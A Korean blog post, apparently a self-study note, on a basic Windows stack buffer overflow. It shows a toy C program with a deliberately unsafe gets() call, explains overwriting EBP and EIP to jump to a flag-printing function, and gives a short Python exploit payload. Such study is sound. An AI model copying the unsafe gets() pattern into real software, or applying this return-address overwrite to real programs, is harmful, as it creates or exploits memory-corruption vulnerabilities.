-
Windows BOFHack/Windows 2016. 5. 24. 20:45
이제부터 Win BOF를 공부해보려 하는데, 간단한 프로그램을 작성해서 리눅스와 동일하게 오버플로우를 해보았다.
#include <stdio.h>
void flag() {
char flag[20];
FILE *fp;
fp = fopen("flag.txt","r");
fgets(flag,sizeof(flag),fp);
printf("%s",flag);
fclose(fp);
}
int main()
{
char buf[12];
gets(buf);
printf("%s",buf);
return 0;
}
소스는 간단하게 flag 라는 함수가 존재하고 gets 함수에서 오버플로우가 발생한다.
그럼 12바이트를 채우고, ebp와 eip를 덮어주면 되겠지
A를 16개입력해주니, EBP가 41414141로 바뀌었다. eip 를 덮어줘야하는데, flag 함수의 위치를 보면 0x401000이다.
플래그를 출력하기위해서는 eip를 flag 함수로 덮어써주면되는데, 대략 익스플로잇을 짜보자면
"A"*12 + 0xdeadbeef + 0x401000
이정도면 플래그가 출력될것이다. 파이썬으로 익스플로잇 코드를 짜보자
import struct from subprocess import * p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x) filename = "bof.exe" proc = Popen(filename, stdin=PIPE ) payload = "A"*12 payload += p(0xdeadbeef) payload += p(0x00401000) proc.stdin.write(payload)
BOOM!!
'Hack > Windows' 카테고리의 다른 글
SEH(Structured Exception Handling) (0) 2016.06.01 Windows BOF (ASLR) (0) 2016.06.01 Windows Calc Shellcode (0) 2016.06.01 Windows BOF Exploit with Shellcode (0) 2016.05.27 Windows Shellcode 에러 (0) 2016.05.27